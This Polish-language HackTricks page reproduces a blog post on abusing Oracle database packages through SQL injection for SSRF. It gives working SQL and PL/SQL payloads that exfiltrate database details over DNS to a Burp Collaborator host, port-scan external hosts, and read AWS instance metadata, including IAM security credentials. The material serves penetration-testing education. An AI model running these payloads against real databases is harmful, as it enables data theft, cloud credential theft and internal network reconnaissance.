Oracle injection

Support HackTricks

Zaserwuj ten post jako kopię z wayback machine usuniętego posta z https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Używanie Oracle do wykonywania żądań HTTP i DNS Out of Band jest dobrze udokumentowane, ale jako sposób na eksfiltrację danych SQL w iniekcjach. Zawsze możemy modyfikować te techniki/funkcje, aby wykonać inne SSRF/XSPA.

Instalacja Oracle może być naprawdę bolesna, szczególnie jeśli chcesz szybko skonfigurować instancję, aby wypróbować polecenia. Mój przyjaciel i kolega z Appsecco, Abhisek Datta, wskazał mi https://github.com/MaksymBilenko/docker-oracle-12c, co pozwoliło mi skonfigurować instancję na maszynie t2.large AWS Ubuntu i Docker.

Uruchomiłem polecenie docker z flagą --network="host", aby móc naśladować Oracle jako natywną instalację z pełnym dostępem do sieci, przez cały czas trwania tego wpisu na blogu.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Pakiety Oracle, które wspierają specyfikację URL lub nazwy hosta/numeru portu

Aby znaleźć jakiekolwiek pakiety i funkcje, które wspierają specyfikację hosta i portu, przeprowadziłem wyszukiwanie w Google na Dokumentacji Online Oracle Database. Konkretne,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Wynik wyszukiwania zwrócił następujące rezultaty (nie wszystkie mogą być użyte do wykonywania wychodzącej sieci)

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

To proste wyszukiwanie oczywiście pomija pakiety takie jak DBMS_LDAP (który pozwala na podanie nazwy hosta i numeru portu), ponieważ strona dokumentacji po prostu kieruje cię do innej lokalizacji. Dlatego mogą istnieć inne pakiety Oracle, które mogą być nadużywane do wykonywania wychodzących żądań, które mogłem przeoczyć.

W każdym razie, przyjrzyjmy się niektórym z pakietów, które odkryliśmy i wymieniliśmy powyżej.

DBMS_LDAP.INIT

Pakiet DBMS_LDAP umożliwia dostęp do danych z serwerów LDAP. Funkcja init() inicjalizuje sesję z serwerem LDAP i przyjmuje nazwę hosta oraz numer portu jako argument.

Funkcja ta była wcześniej dokumentowana, aby pokazać eksfiltrację danych przez DNS, jak poniżej

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Jednakże, biorąc pod uwagę, że funkcja akceptuje nazwę hosta i numer portu jako argumenty, możesz to wykorzystać, aby działało jak skaner portów.

Oto kilka przykładów

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

A ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. wskazuje, że port jest zamknięty, podczas gdy wartość sesji wskazuje, że port jest otwarty.

UTL_SMTP

Pakiet UTL_SMTP jest zaprojektowany do wysyłania e-maili przez SMTP. Przykład podany na stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do wysłania e-maila. Dla nas jednak interesującą rzeczą jest możliwość podania specyfikacji hosta i portu.

Poniżej przedstawiono prosty przykład z funkcją UTL_SMTP.OPEN_CONNECTION, z limitem czasu wynoszącym 2 sekundy.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

A ORA-29276: transfer timeout wskazuje, że port jest otwarty, ale nie nawiązano połączenia SMTP, podczas gdy ORA-29278: SMTP transient error: 421 Service not available wskazuje, że port jest zamknięty.

UTL_TCP

Pakiet UTL_TCP oraz jego procedury i funkcje umożliwiają komunikację opartą na TCP/IP z usługami. Jeśli jest zaprogramowany dla konkretnej usługi, ten pakiet może łatwo stać się sposobem na dostęp do sieci lub wykonywać pełne żądania po stronie serwera, ponieważ wszystkie aspekty połączenia TCP/IP mogą być kontrolowane.

Przykład na stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do nawiązania surowego połączenia TCP w celu pobrania strony internetowej. Możemy to nieco uprościć i użyć go do wysyłania żądań do instancji metadanych na przykład lub do dowolnej usługi TCP/IP.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Ciekawie, z powodu możliwości tworzenia surowych żądań TCP, ten pakiet może być również używany do zapytań do usługi metadanych instancji wszystkich dostawców chmury, ponieważ typ metody i dodatkowe nagłówki mogą być przekazywane w żądaniu TCP.

UTL_HTTP i żądania sieciowe

Być może najczęściej stosowaną i szeroko udokumentowaną techniką w każdym poradniku na temat Out of Band Oracle SQL Injection jest pakiet UTL_HTTP. Pakiet ten jest zdefiniowany w dokumentacji jako - Pakiet UTL_HTTP wykonuje wywołania protokołu Hypertext Transfer Protocol (HTTP) z SQL i PL/SQL. Możesz go użyć do uzyskania dostępu do danych w Internecie za pośrednictwem HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Możesz dodatkowo użyć tego do przeprowadzenia podstawowego skanowania portów za pomocą zapytań takich jak

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

ORA-12541: TNS:no listener lub TNS:operation timed out to znak, że port TCP jest zamknięty, podczas gdy ORA-29263: HTTP protocol error lub dane to znak, że port jest otwarty.

Innym pakietem, którego używałem w przeszłości z różnym powodzeniem, jest GETCLOB() metoda typu abstrakcyjnego HTTPURITYPE Oracle, która pozwala na interakcję z URL i zapewnia wsparcie dla protokołu HTTP. Metoda GETCLOB() jest używana do pobierania odpowiedzi GET z URL jako typ danych CLOB.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Wsparcie dla HackTricks

Last updated